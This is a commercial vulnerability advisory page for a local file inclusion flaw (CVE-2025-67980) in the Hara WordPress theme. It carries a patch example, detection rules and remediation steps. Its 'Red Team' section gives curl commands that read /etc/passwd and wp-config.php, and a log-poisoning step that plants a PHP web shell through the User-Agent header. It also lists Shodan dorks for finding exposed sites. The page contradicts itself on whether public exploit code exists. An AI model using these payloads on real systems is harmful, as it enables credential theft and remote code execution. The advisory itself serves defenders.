☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Thembay logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-67980

CVE-2025-67980 Local File Inclusion in Thembay
📅 PUBLISHED: 2026-02-20 15:46 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: L Integrity Low
A: L Availability Low
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

POC_DETAILS: None

Executive Summary

CVE-2025-67980 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Hara WordPress theme by Thembay, up to and including version 1.2.17. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., wp-config.php), remote code execution via log poisoning, or further lateral movement. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based vector. No public exploit code or patch is currently available, making this a high-priority zero-day for WordPress sites using the Hara theme.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. The supply chain risk is elevated because:

  • The vendor (Thembay) has not released a patch.
  • The theme may be bundled with premium plugins or child themes, extending the attack surface.
  • Sites using automatic updates may still be vulnerable if the theme is not updated manually.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
  • Confidentiality (C): High (H) – Full file read capability.
  • Integrity (I): Low (L) – Limited to file inclusion; no direct write.
  • Availability (A): Low (L) – Could lead to denial of service via resource exhaustion.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a critical risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability exists in the Hara theme's PHP code, likely in a template or helper function that dynamically includes files based on user-supplied input (e.g., $_GET['file'], $_POST['template'], or a similar parameter). The code fails to sanitize or validate the filename, allowing path traversal sequences like ../../ to escape the intended directory.

Example vulnerable code pattern:

<?php
// In a theme file (e.g., header.php, functions.php)
$file = $_GET['page'];
include( $file . '.php' );
?>

An attacker can exploit this by sending a request such as:

GET /?page=../../../etc/passwd%00

The null byte (%00) may be used to terminate the string, bypassing the .php extension append. Alternatively, if the extension is not appended, direct inclusion of /etc/passwd is possible.

Impact:

  • Information Disclosure: Read sensitive files like wp-config.php (database credentials), /etc/shadow, or other PHP files.
  • Remote Code Execution: Combine with log poisoning (e.g., injecting PHP code into Apache/Nginx logs via User-Agent) and then include the log file.
  • Lateral Movement: Use disclosed credentials to access the database or other services.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix:

Vulnerable Code (Hara theme <= 1.2.17):

// functions.php or template-loader.php
function hara_load_template($template_name) {
    $template = $_GET['template'];
    include( get_template_directory() . '/templates/' . $template . '.php' );
}

Patched Code (Recommended):

function hara_load_template($template_name) {
    // Whitelist allowed templates
    $allowed_templates = array('default', 'full-width', 'sidebar');
    $template = sanitize_file_name( $_GET['template'] );
    $template = basename( $template ); // Remove path traversal
    if ( in_array( $template, $allowed_templates ) ) {
        include( get_template_directory() . '/templates/' . $template . '.php' );
    } else {
        // Fallback to default
        include( get_template_directory() . '/templates/default.php' );
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site running Hara theme <= 1.2.17.
  • Knowledge of the vulnerable parameter (e.g., page, template, file).

Step 1: Identify the vulnerable parameter Use a web fuzzer (e.g., ffuf, Burp Intruder) to test common parameters:

ffuf -u http://target/?FUZZ=test -w /usr/share/wordlists/params.txt -fc 200,302

Step 2: Basic LFI test

curl -v "http://target/?page=../../../etc/passwd"

If the response contains root:x:0:0:root, the vulnerability is confirmed.

Step 3: Read wp-config.php

curl -v "http://target/?page=../../../wp-config"

(Note: The .php extension may be appended automatically; try without extension or use a null byte.)

Step 4: Log Poisoning for RCE

  1. Send a request with a malicious User-Agent:
curl -v -A "<?php system($_GET['cmd']); ?>" "http://target/"
  1. Include the access log:
curl -v "http://target/?page=../../../var/log/apache2/access.log&cmd=id"

Blue Team (Defensive)

Detection:

  • Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e/).
  • Alert on inclusion of sensitive files (/etc/passwd, wp-config.php).
  • Use WAF rules to block ../ sequences in query parameters.

Hunting:

  • Search web server logs for requests containing page=, template=, or file= parameters with directory traversal.
  • Look for anomalous User-Agent strings containing PHP code.

Lab Setup:

  1. Install WordPress with Hara theme 1.2.17.
  2. Enable detailed logging: sudo tail -f /var/log/apache2/access.log
  3. Use a local tool like curl or a Python script to simulate attacks.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing ../ or %2e%2e/ in query parameters.
    • Requests to /?page=, /?template=, /?file= with path traversal.
    • User-Agent strings containing PHP code (e.g., <?php system(...)?>).
  • File System IOCs:
    • Unexpected inclusion of /etc/passwd, /etc/shadow, wp-config.php in web responses.
    • Modified web server logs (e.g., access.log) containing PHP code.
  • Log IOCs:
    • Apache/Nginx access log entries with "GET /?page=../../../etc/passwd".
    • Error logs showing PHP Warning: include(): Failed opening for non-existent files.

Detection Engineering

YARA Rule

rule CVE_2025_67980_LFI_Hara_Theme {
    meta:
        description = "Detects LFI attempts targeting Hara WordPress theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67980"
    strings:
        $path_traversal = /(page|template|file)=[^&]*\.\.\//
        $sensitive_file = /(etc\/passwd|wp-config|etc\/shadow)/
    condition:
        any of ($path_traversal) and any of ($sensitive_file)
}

Sigma Rule

title: CVE-2025-67980 LFI Attempt on Hara Theme
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in HTTP requests targeting Hara theme parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains|all:
            - 'page='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in custom plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67980 LFI Attempt - Hara Theme"; flow:to_server,established; content:"page="; http_uri; content:"../"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Hara theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
  2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in query parameters.
  3. Restrict file inclusion via .htaccess or Nginx config:
    # Apache
    RewriteCond %{QUERY_STRING} (page|template|file)=.*\.\.
    RewriteRule .* - [F,L]
    
  4. Monitor logs for exploitation attempts.

Long-Term Fixes:

  • Vendor Patch: Await an official update from Thembay. If none, consider forking the theme and applying the patch manually.
  • Code Hardening: Replace dynamic file inclusion with a whitelist approach (see patched code example).
  • Update WordPress and all plugins/themes to the latest versions.

Workarounds:

  • Use a security plugin like Wordfence to add virtual patching.
  • Disable PHP allow_url_include and allow_url_fopen in php.ini (though this is for RFI, it's good practice).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Hara"
http.html:"wp-content/themes/hara"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-67980/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.